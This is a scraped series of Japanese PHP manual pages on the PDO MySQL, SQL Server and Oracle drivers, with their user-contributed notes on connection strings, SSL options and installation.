[Wed Dec 30 13:10:10 2009] [error] [client 1.1.1.1] PHP Fatal error:  Uncaught exception 'PDOException' with message 'SQLSTATE=01S00, SQLDriverConnect: -11005 [Informix][Informix ODBC Driver]Invalid connection string attribute.' in /opt/webroot/informix.php:5\nStack trace:\n#0 /opt/webroot/informix.php(5): PDO->__construct('informix:host=l...', 'username', 'password')\n#1 {main}\n  thrown in /opt/webroot/informix.php on line 5

you should let your connection string in one line, without line feed.


MySQL 関数 (PDO_MYSQL)

はじめに

PDO_MYSQL は、PHP から MySQL データベースへのアクセスを可能にするための PHP Data Objects (PDO) インターフェイス を実装したドライバです。

PDO_MYSQLは、 デフォルトでエミュレートされたプリペアドステートメントを使います。

MySQL 8

PHP 7.1.16 より前のバージョン、もしくは PHP 7.2.4 より前の 7.2系の PHP では、 MySQL 8 サーバのデフォルトパスワードプラグインを mysql_native_password に設定するようにしてください。 さもないと、 The server requested authentication method unknown to the client [caching_sha2_password] のようなエラーを見ることになります。たとえあなたが caching_sha2_password を使っていなくても、です。

これは MySQL 8 のデフォルトが 古い PHP (mysqlnd) のリリースが認識していないプラグイン caching_sha2_password だからです。 かわりに、my.cnf の設定を default_authentication_plugin=mysql_native_password と変更してください。 caching_sha2_password プラグインは、 将来のPHPのリリースでサポートされます。 しばらくの間は、 mysql_xdevapi 拡張機能がサポートを行うことになるでしょう。

警告

注意: MySQL のテーブル型 (ストレージエンジン) の中には、 トランザクションをサポートしていないものがあります。 トランザクションをサポートしていないテーブル型を使用して トランザクションを使用するコードを書くと、 MySQL はトランザクションが正常に使用できたかのように振舞います。 さらに、DDL クエリを実行する際には、 実行中のトランザクションが暗黙的にコミットされます。

インストール手順

一般的な Unix ディストリビューションには、バイナリ版の PHP がインストールされています。 これらのバイナリ版は、通常は MySQL 拡張モジュールに対応したものになっています。 しかし、拡張モジュールライブラリ自身を別パッケージでインストールする必要があるでしょう。 使用しているディストリビューションのパッケージマネージャで確認してみましょう。

たとえば Ubuntu なら、php5-mysql パッケージをインストールすれば、 ext/mysql、ext/mysqli、そして pdo_mysql をインストールできます。CentOS の場合は php-mysql パッケージを使えば、同じものをインストールできます。

この拡張モジュールを自分でコンパイルすることもできます。 PHP をソースからビルドすれば、使いたい MySQL 拡張モジュールを指定したり 各拡張モジュールが使用するクライアントライブラリを選択したりすることができます。

--with-pdo-mysql[=DIR] で PDO MySQL 拡張モジュールをインストールします。オプションの [=DIR] は、MySQL ベースライブラリの場所です。どのライブラリを選べばいいのかについての詳細は MySQL ライブラリの選択 を参照ください。

オプションの --with-mysql-sock[=DIR] で MySQL unix ソケットの場所を指定することができます。これは PDO_MYSQL を含むすべての MySQL 拡張モジュールで利用します。省略した場合はデフォルトの場所を検索します。

オプションの --with-zlib-dir[=DIR] で、 libz のインストールプレフィックスを指定することができます。

$ ./configure --with-pdo-mysql --with-mysql-sock=/var/mysql/mysql.sock

SSL サポートを有効にするには、適切な PDO_MySQL 定数 を指定します。これは » MySQL C API 関数 mysql_ssl_set() をコールするのと同じ意味になります。また、SSL を PDO::setAttribute で有効にすることはできません。というのも、この時点ではすでに接続が確立されてしまっているからです。 MySQL のドキュメントで » SSL を使った MySQL への接続 について確認しましょう。

定義済み定数

このドライバでは以下の定数が定義されて います。これは拡張モジュールが PHP に組み込まれているか、実行時に動的にロード されている場合のみ使用可能です。さらに、これらのドライバ固有の定数は そのドライバを使用している場合にのみ使用されます。 あるドライバ固有の属性を別のドライバで使うと、予期せぬ結果を引き起こします。 もし複数のドライバを使用しているコードを実行している場合、 PDO::getAttribute() で PDO::ATTR_DRIVER_NAME 属性を使用することで、使用中のドライバ名を調べることが可能です。

PDO::MYSQL_ATTR_USE_BUFFERED_QUERY (int)
PDOStatement でこの属性を true に設定すると、 MySQL ドライバはバッファ版の MySQL API を使用します。 移植性の高いコードを書くには、代わりに PDOStatement::fetchAll() を使用すべきです。

例1 mysql でクエリのバッファリングを強制する

<?php
if ($db->getAttribute(PDO::ATTR_DRIVER_NAME) == 'mysql') {
    $stmt = $db->prepare('select * from foo',
        array(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY => true));
} else {
    die("このアプリケーションは mysql でしか動作しません。代わりに \$stmt->fetchAll() を使用すべきです");
}
?>

PDO::MYSQL_ATTR_LOCAL_INFILE (int)

LOAD LOCAL INFILE を有効にします。

この定数を使うのは、新しいデータベースハンドルを作るときの driver_options 配列内だけであることに注意しましょう。

PDO::MYSQL_ATTR_LOCAL_INFILE_DIRECTORY (string)

LOCAL DATA 文によるファイルのロードを、 ここで指定したディレクトリに制限する機能を有効にします。

この定数を使うのは、新しいデータベースハンドルを作るときの driver_options 配列内だけであることに注意しましょう。

PDO::MYSQL_ATTR_INIT_COMMAND (int)

MySQL サーバーへの接続時に実行するコマンドを指定します。 再接続の際には自動的に再実行されます。

この定数を使うのは、新しいデータベースハンドルを作るときの driver_options 配列内だけであることに注意しましょう。

PDO::MYSQL_ATTR_READ_DEFAULT_FILE (int)

my.cnf ではなく、 指定した名前のファイルからオプションを読み込みます。 このオプションは、mysqlnd を使っている場合は利用できません。 mysqlnd は mysql の設定ファイルを読んでいないからです。

PDO::MYSQL_ATTR_READ_DEFAULT_GROUP (int)

my.cnf あるいは 別のファイル (MYSQL_READ_DEFAULT_FILE で指定したもの) の中の、指定した名前のグループからオプションを読み込みます。 このオプションは、mysqlnd を使っている場合は利用できません。 mysqlnd は mysql の設定ファイルを読んでいないからです。

PDO::MYSQL_ATTR_MAX_BUFFER_SIZE (int)

バッファの最大サイズ。デフォルトは 1 MiB です。 mysqlnd を指定してコンパイルした場合は、この定数はサポートされていません。

PDO::MYSQL_ATTR_DIRECT_QUERY (int)

プリペアドステートメントではなく、直接クエリを実行します。

PDO::MYSQL_ATTR_FOUND_ROWS (int)

変更された行数ではなく、見つかった (マッチした) 行数を返します。

PDO::MYSQL_ATTR_IGNORE_SPACE (int)

関数名の後に続く空白を許可します。 すべての関数名を予約語にします。

PDO::MYSQL_ATTR_COMPRESS (int)

ネットワーク通信の圧縮を有効にします。

PDO::MYSQL_ATTR_SSL_CA (int)

SSL 認証局のファイルパス。

PDO::MYSQL_ATTR_SSL_CAPATH (int)

信頼済みのSSL認証局の証明書が入ったディレクトリパス。 証明書は、PEM フォーマットで格納されています。

PDO::MYSQL_ATTR_SSL_CERT (int)

SSL 証明書のファイルパス。

PDO::MYSQL_ATTR_SSL_CIPHER (int)

SSL 暗号化に使うひとつ以上の暗号の一覧。 OpenSSL で有効なフォーマットで指定します。 例: DHE-RSA-AES256-SHA:AES128-SHA

PDO::MYSQL_ATTR_SSL_KEY (int)

SSL キーのファイルパス。

PDO::MYSQL_ATTR_SSL_VERIFY_SERVER_CERT (int)

サーバの SSL 証明書の検証を無効にする方法を提供します。

これが使えるようになった PHP のバージョンは 7.0.18 および PHP 7.1.4.

PDO::MYSQL_ATTR_MULTI_STATEMENTS (int)

false にすると、PDO::prepare() や PDO::query() でのマルチクエリの実行を無効にします。

この定数が使えるのは、データベースハンドルを新規作成する際の driver_options 配列内だけであることに注意しましょう。

実行時設定

php.ini の設定により動作が変化します。

PDO_MYSQL 設定オプション
名前 | デフォルト | 変更可能
pdo_mysql.default_socket | "/tmp/mysql.sock" | PHP_INI_SYSTEM
pdo_mysql.debug | NULL | PHP_INI_SYSTEM
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

pdo_mysql.default_socket string

Unix ドメインソケットを設定します。 configure の際にドメインソケットが見つかれば、 この値はコンパイル時にも設定されます。この ini 設定は Unix でのみ使えます。

pdo_mysql.debug bool

PDO_MYSQL のデバッグ機能を有効にします。 この設定が有効になるのは、mysqlnd を使って PDO_MYSQL をでコンパイルし、 かつ PDO がデバッグモードであるときだけです。

目次

  • PDO_MYSQL DSN — MySQL データベースに接続する

User Contributed Notes

Desislav Kamenov 29-Jan-2018 08:14
There is an important undocumented attribute which disables certificate CN verification available after
5.6.22 (not sure), 7.0.18 (verified) and 7.1.15 (not sure)

PDO::MYSQL_ATTR_SSL_VERIFY_SERVER_CERT

possible values: true, false
default value: true

Related PHP bugs:
https://bugs.php.net/bug.php?id=71845
https://bugs.php.net/bug.php?id=71003

and github PR: https://github.com/php/php-src/pull/1913
vafa ghoreyshi atgmailcom 06-Sep-2017 04:57
If you have the error 'could not find driver' and won't able to install driver for newer linux(Fedora, Redhat, CentOS) with latest PHP7/MariaDB10/Apache2.4 get this package installed and get every things smooth.
First download latest version of epel and remi for your distribution. This links is for Fedora 26:

wget https://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm
wget https://rpms.remirepo.net/fedora/remi-release-26.rpm

Than install them

rpm -Uvh remi-release-26.rpm
rpm -Uvh epel-release-6-8.noarch.rpm

Know you can use remi repository to gest php-pdo and php-mysql.

yum --enablerepo=remi install php-pdo
yum --enablerepo=remi install php-mysql

Restart the Apache

systemctl stop httpd
systemctl start httpd

Good to go!
Gerald Schneider 09-Nov-2013 08:25
This page suggests that the constant PDO::MYSQL_ATTR_FOUND_ROWS  was always available (no note "exists as of X.X"), but I found the constant missing on an installation with PHP 5.2. After switching the PHP version to 5.3.27 on the webspace the constant was available.
curt at webmasterbond dot com 15-Apr-2011 05:54
Today's PHP snapshot now has SSL support for PDO. Follow the directions here ( http://dev.mysql.com/doc/refman/5.0/en/secure-create-certs.html ) to set up MySQL and then use the following connection options:

<?php
$pdo = new PDO(
    'mysql:host=hostname;dbname=ssldb',
    'username',
    'password',
    array(
        PDO::MYSQL_ATTR_SSL_KEY    =>'/path/to/client-key.pem',
        PDO::MYSQL_ATTR_SSL_CERT=>'/path/to/client-cert.pem',
        PDO::MYSQL_ATTR_SSL_CA    =>'/path/to/ca-cert.pem'
    )
);
?>
brian at diamondsea dot com 25-Jul-2008 11:26
SQLSTATE[HY000]: General error: 2014 Cannot execute queries while other unbuffered queries are active. ...

After spending hours trying to track down why we were getting this error on a new server, after the same code ran fine on other servers, we found the problem to be an old MySQL _client_ library running on our web server, and a latest-version MySQL _server_ running on the database server's box.

Upgraded the MySQL client on the web server to the current revision and the problem went away.
miller_kurt_e at yahoo dot com 20-Jul-2008 02:03
SQLSTATE[HY000]: General error: 2014 Cannot execute queries while other unbuffered queries are active. ...

This one can be a royal pain to deal with.  Never stack statements to be executed in one go.  Nobody ever mentions this possibility in all the posts I've seen dealing with this error.

This example is a Zend Framework example but the theory is the same.

As in:

<?php
$sql = <<<____SQL
     CREATE TABLE IF NOT EXISTS `ticket_hist` (
       `tid` int(11) NOT NULL,
       `trqform` varchar(40) NOT NULL,
       `trsform` varchar(40) NOT NULL,
       `tgen` datetime NOT NULL,
       `tterm` datetime,
       `tstatus` tinyint(1) NOT NULL
     ) ENGINE=ARCHIVE COMMENT='ticket archive';
     CREATE TABLE IF NOT EXISTS `request_hist` (
       `rqid` int(11) NOT NULL,
       `rqtid` int(11) NOT NULL,
       `rqsid` int(11) NOT NULL,
       `rqdate` datetime NOT NULL,
       `rqcode` tinyint(1) NOT NULL,
       `rssid` int(11) NOT NULL,
       `rsdate` datetime,
       `rscode` tinyint(1)
     ) ENGINE=ARCHIVE COMMENT='request archive';
     CREATE TABLE IF NOT EXISTS `relay_hist` (
       `rqid` int(5) NOT NULL,
       `sdesc` varchar(40) NOT NULL,
       `rqemail` varchar(40) NOT NULL,
       `sid` int(11) NOT NULL,
       `rlsid` int(11) NOT NULL,
       `dcode` varchar(5) NOT NULL
     ) ENGINE=ARCHIVE COMMENT='relay archive';
____SQL;
$result = $this->db->getConnection()->exec($sql);
?>

This will run fine but PDO will balk with the 'unbuffered' error if you follow this with another query.

Instead do:

<?php
$sql = <<<____SQL
     CREATE TABLE IF NOT EXISTS `ticket_hist` (
       `tid` int(11) NOT NULL,
       `trqform` varchar(40) NOT NULL,
       `trsform` varchar(40) NOT NULL,
       `tgen` datetime NOT NULL,
       `tterm` datetime,
       `tstatus` tinyint(1) NOT NULL
     ) ENGINE=ARCHIVE COMMENT='ticket archive';
____SQL;
$result = $this->db->getConnection()->exec($sql);

$sql = <<<____SQL
     CREATE TABLE IF NOT EXISTS `request_hist` (
       `rqid` int(11) NOT NULL,
       `rqtid` int(11) NOT NULL,
       `rqsid` int(11) NOT NULL,
       `rqdate` datetime NOT NULL,
       `rqcode` tinyint(1) NOT NULL,
       `rssid` int(11) NOT NULL,
       `rsdate` datetime,
       `rscode` tinyint(1)
     ) ENGINE=ARCHIVE COMMENT='request archive';
____SQL;
$result = $this->db->getConnection()->exec($sql);

$sql = <<<____SQL
     CREATE TABLE IF NOT EXISTS `relay_hist` (
       `rqid` int(5) NOT NULL,
       `sdesc` varchar(40) NOT NULL,
       `rqemail` varchar(40) NOT NULL,
       `sid` int(11) NOT NULL,
       `rlsid` int(11) NOT NULL,
       `dcode` varchar(5) NOT NULL
     ) ENGINE=ARCHIVE COMMENT='relay archive';
____SQL;
$result = $this->db->getConnection()->exec($sql);
?>

Chopping it into individual queries fixes the problem.
rmottey at gmail dot com 09-Jan-2008 03:51
I have been getting the error below when performing multiple queries within a single page.

Setting the attribute below did not seem to work for me.

So building on previous example i am initilizing my stmt  variable on every query and a fetch all into an array. Seems to be working for me.

Error:
PDO Error 1.1: Array ( [0] => xxx[1] => yyy[2] => Lost connection to MySQL server during query )

Fix:

(PDO::setAttribute("PDO::MYSQL_ATTR_USE_BUFFERED_QUERY", true);)

<?

try {
        $dbh = new PDO('mysql:host=xxx;port=xxx;dbname=xxx', 'xxx', 'xxx', array( PDO::ATTR_PERSISTENT => false));
 $stmt = $dbh->prepare("CALL getname()");

        // call the stored procedure
        $stmt->execute();
      // fetch all rows into an array.
       $rows = $stmt->fetchAll();
       foreach ($rows as $rs)
    {
          $id = $rs['id'];
         }
//initilise the statement
unset($stmt);
$stmt = $dbh->prepare("call secondprocedure(?);");
$stmt->bindValue(1, $id);
if ( ! $stmt->execute() )
{
    echo "PDO Error 1.1:\n";
    print_r($stmt->errorInfo());
    exit;
}
unset($stmt);
} catch (PDOException $e) {
        print "Error!: " . $e->getMessage() . "<br/>";
        die();
    }
?>
davey at php dot net 06-Jun-2007 01:46
To use "PDO::MYSQL_ATTR_USE_BUFFERED_QUERY" you should call
PDO::setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, true);

It will not work when passed into PDO::prepare()


MySQL データベースに接続する

  • ≪ MySQL (PDO)
  • MS SQL Server (PDO) ≫
  • PHP Manual
  • MySQL (PDO)
  • MySQL データベースに接続する

PDO_MYSQL DSN

(PECL PDO_MYSQL >= 0.1.0)

PDO_MYSQL DSN — MySQL データベースに接続する

説明

PDO_MYSQL データソース名 (DSN) は以下の要素で構成されます。

DSN 接頭辞

DSN 接頭辞は mysql: です。

host

データベースサーバーが存在するホスト名を指定します。

port

データベースサーバーが待機しているポートを指定します。

dbname

データベース名を指定します。

unix_socket

MySQL の unix ソケットを指定します (host あるいは port と同時に使用することはできません)。

charset

文字セット。詳細は、 文字セットの概念 を参照ください。

例

例1 PDO_MYSQL DSN の例

以下の例は、MySQL データベースに接続するための PDO_MYSQL DSN を表します。

mysql:host=localhost;dbname=testdb
より完全な例は、このようになります。
mysql:host=localhost;port=3307;dbname=testdb
mysql:unix_socket=/tmp/mysql.sock;dbname=testdb

注意

注意: Unix のみ

ホスト名を "localhost" にすると、 サーバーへの接続はドメインソケットを使って行われます。 libmysqlclient を使って PDO_MYSQL をコンパイルした場合は、 ソケットファイルの場所は libmysqlclient のコンパイル時の場所になります。 mysqlnd を使って PDO_MYSQL をコンパイルした場合は、デフォルトのソケットは pdo_mysql.default_socket の設定を使って作られます。

User Contributed Notes

FireDev 05-Feb-2020 05:32
The best way for me

$bdd= new PDO("mysql:host=localhost;dbname=test_db;charset=UTF8", "username", "password");
$bdd->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING);
divinity76 at gmail dot com 13-Oct-2019 04:07
here is the example i prefer myself, in my opinion, this is almost always "the correct way" to do it:
<?php

$db = new \PDO('mysql:host=localhost;dbname=testdb;charset=utf8mb4', 'username', 'password', array(
    \PDO::ATTR_EMULATE_PREPARES => false,
    \PDO::ATTR_ERRMODE => \PDO::ERRMODE_EXCEPTION
));
yuqiangliu at outlook dot com 23-Apr-2019 09:40
$options = array(
    PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8',
);

SET NAMES utf8 is equivalent to

SET character_set_client = utf8;
SET character_set_results = utf8;
SET character_set_connection = utf8;
rhian 02-Dec-2016 03:13
xwisdom made a mistake in his comment and got it backwards, correction below:

If you are having problems accessing a remote MYSQL database, the solution is to make sure that you add a white-space after "mysql:"

Change this...:
mysql:host=remote;

...to this:
mysql: host=remote;

See original solution here:
http://stackoverflow.com/a/25432156
xwisdom at gmail dot com 07-Dec-2015 11:11
If you are having problems accessing a remote MYSQL database, the solution is to make sure that you remove any white-space after "mysql:"

Change this...:
mysql: host=remote;

...to this:
mysql:host=remote;

See original solution here:
http://stackoverflow.com/a/25432156
siguza at siguza dot net dot IGNORETHIS 04-Jan-2015 02:24
It should be noted that unix_socket can also be used for named pipes under Windows.

<?php
$pipeName = 'my_awesome_pipe';
$username = 'username';
$password = 'password';
$dbh = new PDO('mysql:unix_socket='.$pipeName, $username, $password);
?>
codeslinger at compsalot dot com 11-Mar-2009 03:00
I have tested this and found that the "dbname" field is optional.  Which is a good thing if you must first create the db.

After creating a db be sure to exec a "use dbname;"  command, or else use fully specified table references.


Microsoft SQL Server 関数 (PDO_SQLSRV)

はじめに

PDO_SQLSRV は、PHP Data Objects (PDO) インターフェイス を実装したドライバです。 PHP から、MS SQL Server (SQL Server 2005 以降) および SQL Azure データベースにアクセスできるようになります。

インストール手順

PDO_SQLSRV 拡張モジュールを有効にするには、適切な DLL ファイルを PHP の拡張モジュール用ディレクトリに配置して、php.ini ファイルにエントリを追加します。 PDO_SQLSRV をダウンロードすると、その中には 8 個のドライバファイルが入っています。 その中の 4 個のファイルが PDO サポート用のファイルです。非スレッドセーフな PHP (PHP 5.3) を実行している場合は php_pdo_sqlsrv_53_nts.dll を使います (ウェブサーバーとして IIS を使っている場合は、非スレッドセーフバージョンを使う必要があります)。 スレッドセーフな PHP を実行している場合は php_pdo_sqlsrv_53_ts.dll を使います。 同様に、PHP 5.4 の場合についても、非スレッドセーフなのかスレッドセーフなのかによって php_pdo_sqlsrv_54_nts.dll あるいは php_pdo_sqlsrv_54_ts.dll のいずれかを使います。

最新版のドライバのダウンロードは » SQLSRV download のページでできます。PHP 5.2 を使っている場合や VC6 でコンパイルしたバージョンが必要な場合は、 バージョン 2.0 系を » SQLSRV 2.0 download からダウンロードして使いましょう。 ドライバのソースコードは、 » 公開リポジトリ でホストされています。

システム要件に関する詳細は » SQLSRV System Requirements を参照ください。

PDO_SQLSRV 拡張モジュールは Windows 版の PHP でしか使えません。 Linux の場合は ODBC および » Microsoft's SQL Server ODBC Driver for Linux を参照ください。

定義済み定数

このドライバでは以下の定数が定義されて います。これは拡張モジュールが PHP に組み込まれているか、実行時に動的にロード されている場合のみ使用可能です。さらに、これらのドライバ固有の定数は そのドライバを使用している場合にのみ使用されます。 あるドライバ固有の属性を別のドライバで使うと、予期せぬ結果を引き起こします。 もし複数のドライバを使用しているコードを実行している場合、 PDO::getAttribute() で PDO::ATTR_DRIVER_NAME 属性を使用することで、使用中のドライバ名を調べることが可能です。

PDO::SQLSRV_TXN_READ_UNCOMMITTED (int)
この定数は、SQLSRV DSN のキー TransactionIsolation で使えます。 この接続のトランザクション隔離レベルを、Read Uncommitted に設定します。
PDO::SQLSRV_TXN_READ_COMMITTED (int)
この定数は、SQLSRV DSN のキー TransactionIsolation で使えます。 この接続のトランザクション隔離レベルを、Read Committed に設定します。
PDO::SQLSRV_TXN_REPEATABLE_READ (int)
この定数は、SQLSRV DSN のキー TransactionIsolation で使えます。 この接続のトランザクション隔離レベルを、Repeateable Read に設定します。
PDO::SQLSRV_TXN_SNAPSHOT (int)
この定数は、SQLSRV DSN のキー TransactionIsolation で使えます。 この接続のトランザクション隔離レベルを、Snapshot に設定します。
PDO::SQLSRV_TXN_SERIALIZABLE (int)
この定数は、SQLSRV DSN のキー TransactionIsolation で使えます。 この接続のトランザクション隔離レベルを、Serializable に設定します。
PDO::SQLSRV_ENCODING_BINARY (int)
サーバーとの間のデータの送受信を生のバイトストリームで行い、 符号化や変換を一切しないように指示します。 この定数は、 PDOStatement::setAttribute、PDO::prepare、PDOStatement::bindColumn および PDOStatement::bindParam に渡せます。
PDO::SQLSRV_ENCODING_SYSTEM (int)
サーバーとの間のデータの送受信を 8 ビット文字として行い、 システムに設定された Windows のロケールのコードページを利用します。 このコードページにマップできない文字はすべて、シングルバイトのクエスチョンマークに置き換えられます。 この定数は、PDOStatement::setAttribute、PDO::setAttribute、PDO::prepare、 PDOStatement::bindColumn および PDOStatement::bindParam に渡せます。
PDO::SQLSRV_ENCODING_UTF8 (int)
サーバーとの間のデータの送受信を UTF-8 エンコーディングで行います。 これが、デフォルトの符号化方式です。この定数は、 PDOStatement::setAttribute、PDO::setAttribute、PDO::prepare、 PDOStatement::bindColumn および PDOStatement::bindParam に渡せます。
PDO::SQLSRV_ENCODING_DEFAULT (int)
サーバーとの間のデータの送受信を、接続時に指定した PDO::SQLSRV_ENCODING_SYSTEM に従って行います。プリペアドステートメントの中で指定された場合は、 その接続で設定されているエンコーディングを利用します。この定数は、 PDOStatement::setAttribute、PDO::setAttribute、PDO::prepare、 PDOStatement::bindColumn および PDOStatement::bindParam に渡せます。
PDO::SQLSRV_ATTR_QUERY_TIMEOUT (int)
非負の整数で、タイムアウト秒数を指定します。ゼロがデフォルトで、これはタイムアウトしないことを意味します。 この定数は、PDOStatement::setAttribute、PDO::setAttribute および PDO::prepare に渡せます。
PDO::SQLSRV_ATTR_DIRECT_QUERY (int)
クエリを直接実行し、準備しないことを指示します。 この定数は、PDO::setAttribute および PDO::prepare に渡せます。詳細な情報は » Direct and Prepared Statement Execution を参照ください。

目次

  • PDO_SQLSRV DSN — MS SQL Server および SQL Azure データベースに接続する

User Contributed Notes

fleduc dot perso at gmail dot com 18-Sep-2017 01:35
Watch out!

If you use PDO SQLSRV on windows 7, using 32 bit php on XAMMP, you might encounter driver problems : "This extension requires the Microsoft ODBC Driver 11 for SQL Server to communicate with SQL Server"

The reason, Microsoft 32-bit ODBC driver doesn't install properly on 64-bit Windows 7.

Check the solution to PDO SQLSRV driver problem here in StackOverflow

https://stackoverflow.com/a/46245990/1330248
ian at helastel dot com 31-Oct-2016 04:52
An updated driver compatible with both PHP 7.0 and Linux is available on the PHP-7.0-Linux branch of https://github.com/Microsoft/msphpsql/

This is more up to date and supports some additional features over the ODBC / DBLIB drivers.

It is currently considered an 'Early Technical Preview' and hence has some limitations, but in my experience it has been stable.
Peter 17-Apr-2015 06:04
SQLSRV 3.2 is now available from Microsoft that supports PHP 5.6

http://www.microsoft.com/en-us/download/details.aspx?id=20098
John P 16-Dec-2014 05:29
As of 12/12/2014, Microsoft has officially released Version 3.1.

Support for 5.5 has 4 drivers
php_pdo_sqlsrv_55_nts.dll
php_pdo_sqlsrv_55_ts.dll
php_sqlsrv_55_nts.dll
php_sqlsrv_55_ts.dll

Note: Version 3.1 now supports PHP 5.5 and requires Microsoft ODBC Driver 11 (or higher)

You can downlod the new driver from
http://www.microsoft.com/en-us/download/details.aspx?id=20098


MS SQL Server および SQL Azure データベースに接続する

  • ≪ MS SQL Server (PDO)
  • Oracle (PDO) ≫
  • PHP Manual
  • MS SQL Server (PDO)
  • MS SQL Server および SQL Azure データベースに接続する

PDO_SQLSRV DSN

(PECL pdo_sqlsrv >= 2.0.1)

PDO_SQLSRV DSN — MS SQL Server および SQL Azure データベースに接続する

説明

PDO_SQLSRV データソース名 (DSN) は以下の要素で構成されます。

DSN 接頭辞

DSN 接頭辞は sqlsrv: です。

APP

トレースに使うアプリケーション名を指定します。

ConnectionPooling

接続をコネクションプールから確保する (1 あるいは true) のかしない (0 あるいは false) のかを指定します。

Database

データベースの名前を指定します。

Encrypt

SQL Server との通信を暗号化する (1 あるいは true) のかしない (0 あるいは false) のかを指定します。

Failover_Partner

サーバーと、データベースのインスタンスのミラー (有効になっていて、かつ使える場合) を指定して、プライマリーサーバーが使えないときに利用します。

LoginTimeout

接続の試行のタイムアウト秒数を指定します。

MultipleActiveResultSets

マルチアクティブ結果セット (MARS) のサポートを無効にするか、明示的に有効にします。

QuotedId

SQL-92 の規則に従った識別子のクォートを使う (1 あるいは true) か、レガシーな Transact-SQL のルールを使う (0 あるいは false) かを指定します。

Server

データベースサーバーの名前を指定します。

TraceFile

データのトレースに使うファイルのパスを指定します。

TraceOn

確立した接続用の ODBC のトレースを有効にする (1 あるいは true) か無効にする (0 あるいは false) かを指定します。

TransactionIsolation

トランザクション隔離レベルを指定します。このオプションに指定できる値は
PDO::SQLSRV_TXN_READ_UNCOMMITTED、PDO::SQLSRV_TXN_READ_COMMITTED、
PDO::SQLSRV_TXN_REPEATABLE_READ、PDO::SQLSRV_TXN_SNAPSHOT および
PDO::SQLSRV_TXN_SERIALIZABLE のいずれかです。

TrustServerCertificate

自己署名のサーバー証明書をクライアントに信頼させる (1 あるいは true) か させない (0 あるいは false) かを指定します。

WSID

トレース用のコンピューター名を指定します。

例

例1 PDO_SQLSRV DSN の例

以下の例は、MS SQL Server データベースに接続する方法を示します。

$c = new PDO("sqlsrv:Server=localhost;Database=testdb", "UserName", "Password");

以下の例は、ポートを指定して MS SQL Server データベースに接続する方法を示します。

$c = new PDO("sqlsrv:Server=localhost,1521;Database=testdb", "UserName", "Password");

以下の例は、サーバー ID 12345abcde の SQL Azure データベースに接続する方法を示します。 SQL Azure に PDO で接続するときは、ユーザー名が UserName@12345abcde (UserName@ServerId) となることに注意しましょう。

$c = new PDO("sqlsrv:Server=12345abcde.database.windows.net;Database=testdb", "UserName@12345abcde", "Password");

User Contributed Notes

Daniel Klein 03-Jul-2017 06:20
This is the code that worked for me. I had to specify both the host name [localhost] and the server instance name [SQLEXPRESS], separating them with a double backslash before it would work.

<?php
$conn = new PDO('sqlsrv:Server=localhost\\SQLEXPRESS;Database=MyDatabase', 'MyUsername', 'MyPassword');
?>
alasdair at angryloner dot com dot au 12-May-2014 04:09
Adding the backslash solved the problem for me.

Here's my functioning localdb connection string:

new PDO("sqlsrv:Server=(localdb)\\v11.0 ; Database = my_db ; AttachDBFilename = C:\Users\user\my_db.mdf", "", "");
support at spam eaccounts trap net 21-Feb-2014 07:34
I suspect the problem with "Server=foo-sql\MSSQLSERVER" was you didn't escape the backslash, with a backslash.

If hostname worked, than IP would work as well given a hostname resolves to an IP unless your DNS was mapping to the wrong IP which would be a simple issue.

I suspect you are running your web services on the same host as mssql?  If so, confirm that your mssql server is set to bind to IP addresses (if you want access from the outside of that box).  If you are only able to connect via a name (as in a NetBIOS or Active Directory name), it's likely you are connecting to a "socket" or named pipe.
david at nospam-rm-this dot functionalchaos dot net 29-Oct-2013 06:16
I found with MS-SQL Server 2008 on Windows Server 2008 R2 that I needed to use the MSSQL Server name. The servers hostname or IP address would not work ( with or without port, and/or SQL instance name, etc.) After trying several combinations, this is what I found worked in my configuration:

host-ip: 10.4.2.50
host-name: mssqlhost.mydomain.org
mssql-server-name: foo-sql
mssql-instance-name: MSSQLSERVER
database-name: mydb

<?php

$dbh = new PDO("sqlsrv:Server=foo-sql,1433;Database=mydb", $user , $pass);

?>

The above worked with and without port (,1433). I also noticed adding the instance name (MSSQLSERVER) after the server name with a slash (\), as in "Server=foo-sql\MSSQLSERVER" caused a failure to connect.


Oracle 関数 (PDO_OCI)

インストール手順

Oracle データベースがPHPと同じマシンにインストールされている場合、 必要なライブラリはデータベースソフトウェアに既に含まれています。 PHP が Oracle データベースと違うマシンにある場合、 フリーの » Oracle インスタントクライアント ライブラリを使ってください。 詳細は OCI8 のインストール要件 のセクションを参照してください。

--with-pdo-oci[=DIR] で PDO Oracle OCI 拡張モジュールをインストールします。オプションの [=DIR] には、Oracle のホームディレクトリを指定することができます。 [=DIR] のデフォルトは、環境変数 $ORACLE_HOME の値です。

--with-pdo-oci=instantclient,prefix,version で、Oracle Instant Client SDK を指定します。prefix および version は環境にあわせて設定します。

// $ORACLE_HOME を使う例
$ ./configure --with-pdo-oci

// OIC for Linux 10.2.0.3 の RPM を /usr プレフィックスで使う例
$ ./configure --with-pdo-oci=instantclient,/usr,10.2.0.3

定義済み定数

このドライバでは以下の定数が定義されて います。これは拡張モジュールが PHP に組み込まれているか、実行時に動的にロード されている場合のみ使用可能です。さらに、これらのドライバ固有の定数は そのドライバを使用している場合にのみ使用されます。 あるドライバ固有の属性を別のドライバで使うと、予期せぬ結果を引き起こします。 もし複数のドライバを使用しているコードを実行している場合、 PDO::getAttribute() で PDO::ATTR_DRIVER_NAME 属性を使用することで、使用中のドライバ名を調べることが可能です。

PDO::OCI_ATTR_ACTION (int)

Provides a way to specify the action on the database session.

これが使えるようになった PHP のバージョンは 7.2.16 and 7.3.3

PDO::OCI_ATTR_CLIENT_INFO (int)

Provides a way to specify the client info on the database session.

これが使えるようになった PHP のバージョンは 7.2.16 and 7.3.3

PDO::OCI_ATTR_CLIENT_IDENTIFIER (int)

Provides a way to specify the client identifier on the database session.

これが使えるようになった PHP のバージョンは 7.2.16 and 7.3.3

PDO::OCI_ATTR_MODULE (int)

Provides a way to specify the module on the database session.

これが使えるようになった PHP のバージョンは 7.2.16 and 7.3.3

目次

  • PDO_OCI DSN — Oracle データベースに接続する

User Contributed Notes

wagner dot lague at gmail dot com 18-Jul-2016 06:29
